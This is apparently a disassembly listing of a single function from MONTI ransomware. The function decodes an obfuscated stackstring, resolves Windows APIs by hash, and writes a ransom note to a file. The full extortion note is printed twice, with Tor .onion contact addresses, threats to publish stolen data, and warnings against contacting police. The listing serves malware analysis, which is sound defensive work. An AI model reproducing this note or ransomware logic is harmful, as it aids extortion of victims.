Function at 0x417e00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x433004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x37], 0
mov byte [ebp - 0x36], 0x73
mov byte [ebp - 0x35], 0x4c
mov byte [ebp - 0x34], 0x73
mov byte [ebp - 0x33], 0xd
mov byte [ebp - 0x32], 0x73
mov byte [ebp - 0x31], 0x3f
mov byte [ebp - 0x30], 0x73
mov byte [ebp - 0x2f], 0x56
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x4c
mov byte [ebp - 0x2c], 0x73
mov byte [ebp - 0x2b], 0x23
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x73
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x73
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x73
mov al, byte [ebp - 0x37]
call fcn.00419c40
sub esp, 0x18
mov esi, eax
mov edx, esp
xor eax, eax
mov dword [edx + 0x14], 7
mov dword [edx + 0x10], 0
mov word [edx], ax
cmp word [esi], ax
jne 0x417e9c
xor ecx, ecx
jmp 0x417eb0
mov ecx, esi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x417ea1
sub ecx, edi
sar ecx, 1
push ecx
push esi
mov ecx, edx
call fcn.00403950
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp + 8]
push eax
call fcn.00403b30
lea ecx, [ebp - 0x1c]
call fcn.00416eb0
mov eax, dword [0x435ab4]
lea esi, [ebp - 0x1c]
cmp dword [ebp - 8], 8
cmovae esi, dword [ebp - 0x1c]
mov eax, dword [eax + 0x30]
test eax, eax
jne 0x417f13
push 0xf06e87ca
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x30], eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push esi
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x417fb5
mov eax, dword [0x435ab4]
mov eax, dword [eax + 0xc]
test eax, eax
jne 0x417f53
push 0xc65c5ee6
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0xc], eax
push str.All_of_your_files_are_currently_encrypted_by_MONTI_strain._If_you_dont_know_who_we_are___just__Google_it.__r_n_r_nAs_you_already_know__all_of_your_data_has_been_encrypted_by_our_software.__r_nIt_cannot_be_recovered_by_any_means_without_contacting_our_team_directly._r_n_r_nDONT_TRY_TO_RECOVER_your_data_by_yourselves._Any_attempt_to_recover_your_data__including_the_usage_of_the_additional_recovery_software__can_damage_your_files._However__r_nif_you_want_to_try___we_recommend_choosing_the_data_of_the_lowest_value._r_n_r_nDONT_TRY_TO_IGNORE_us._Weve_downloaded_a_pack_of_your_internal_data_and_are_ready_to_publish_it_on_our_news_website_if_you_do_not_respond.__r_nSo_it_will_be_better_for_both_sides_if_you_contact_us_as_soon_as_possible._r_n_r_nDONT_TRY_TO_CONTACT_feds_or_any_recovery_companies.__r_nWe_have_our_informants_in_these_structures__so_any_of_your_complaints_will_be_immediately_directed_to_us.__r_nSo_if_you_will_hire_any_recovery_company_for_negotiations_or_send_requests_to_the_police_FBI_investigators__we_will_consider_this_as_a_hostile_intent_and_initiate_the_publication_of_whole_compromised_data_immediately._r_n_r_nTo_prove_that_we_REALLY_CAN_get_your_data_back___we_offer_you_to_decrypt_two_random_files_completely_free_of_charge._r_n_r_nYou_can_contact_our_team_directly_for_further_instructions_through_our_website_:_r_n_r_nTOR_VERSION_:_r_n_you_should_download_and_install_TOR_browser_first_https:__torproject.org__r_n_r_nhttp:__myosbja7hixkkjqihsjh6yvmqplz62gr3r4isctjjtu2vm5jg6hsv2ad.onion_chat_cd648b0e6b6d05fc42bb5c9eed2ed734__r_n_r_nAlso_visit_our_blog__via_Tor_:_r_nhttp:__mblogci3rudehaagbryjznltdp33ojwzkq6hn2pckvjq33rycmzczpid.onion__r_n_r_nYOU_SHOULD_BE_AWARE__r_nWe_will_speak_only_with_an_authorized_person._It_can_be_the_CEO__top_management__etc.__r_nIn_case_you_are_not_such_a_person___DONT_CONTACT_US__Your_decisions_and_action_can_result_in_serious_harm_to_your_company___r_nInform_your_supervisors_and_stay_calm__r_n
call eax
mov ecx, dword [0x435ab4]
mov edi, eax
mov eax, dword [ecx + 0x1c]
test eax, eax
jne 0x417f80
push 0xc45f4a8c
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x1c], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push edi
push str.All_of_your_files_are_currently_encrypted_by_MONTI_strain._If_you_dont_know_who_we_are___just__Google_it.__r_n_r_nAs_you_already_know__all_of_your_data_has_been_encrypted_by_our_software.__r_nIt_cannot_be_recovered_by_any_means_without_contacting_our_team_directly._r_n_r_nDONT_TRY_TO_RECOVER_your_data_by_yourselves._Any_attempt_to_recover_your_data__including_the_usage_of_the_additional_recovery_software__can_damage_your_files._However__r_nif_you_want_to_try___we_recommend_choosing_the_data_of_the_lowest_value._r_n_r_nDONT_TRY_TO_IGNORE_us._Weve_downloaded_a_pack_of_your_internal_data_and_are_ready_to_publish_it_on_our_news_website_if_you_do_not_respond.__r_nSo_it_will_be_better_for_both_sides_if_you_contact_us_as_soon_as_possible._r_n_r_nDONT_TRY_TO_CONTACT_feds_or_any_recovery_companies.__r_nWe_have_our_informants_in_these_structures__so_any_of_your_complaints_will_be_immediately_directed_to_us.__r_nSo_if_you_will_hire_any_recovery_company_for_negotiations_or_send_requests_to_the_police_FBI_investigators__we_will_consider_this_as_a_hostile_intent_and_initiate_the_publication_of_whole_compromised_data_immediately._r_n_r_nTo_prove_that_we_REALLY_CAN_get_your_data_back___we_offer_you_to_decrypt_two_random_files_completely_free_of_charge._r_n_r_nYou_can_contact_our_team_directly_for_further_instructions_through_our_website_:_r_n_r_nTOR_VERSION_:_r_n_you_should_download_and_install_TOR_browser_first_https:__torproject.org__r_n_r_nhttp:__myosbja7hixkkjqihsjh6yvmqplz62gr3r4isctjjtu2vm5jg6hsv2ad.onion_chat_cd648b0e6b6d05fc42bb5c9eed2ed734__r_n_r_nAlso_visit_our_blog__via_Tor_:_r_nhttp:__mblogci3rudehaagbryjznltdp33ojwzkq6hn2pckvjq33rycmzczpid.onion__r_n_r_nYOU_SHOULD_BE_AWARE__r_nWe_will_speak_only_with_an_authorized_person._It_can_be_the_CEO__top_management__etc.__r_nIn_case_you_are_not_such_a_person___DONT_CONTACT_US__Your_decisions_and_action_can_result_in_serious_harm_to_your_company___r_nInform_your_supervisors_and_stay_calm__r_n
push esi
call eax
mov eax, dword [0x435ab4]
mov eax, dword [eax + 0x48]
test eax, eax
jne 0x417fb2
push 0xa5eb6e47
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x48], eax
push esi
call eax
mov eax, dword [ebp - 8]
cmp eax, 8
jb 0x417fc7
inc eax
push eax
push dword [ebp - 0x1c]
call fcn.00403a50
xor eax, eax
mov dword [ebp - 8], 7
mov word [ebp - 0x1c], ax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x1c]
cmp eax, 8
jb 0x417fe9
inc eax
push eax
push dword [ebp + 8]
call fcn.00403a50
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041b142
mov esp, ebp
pop ebp
ret 0x18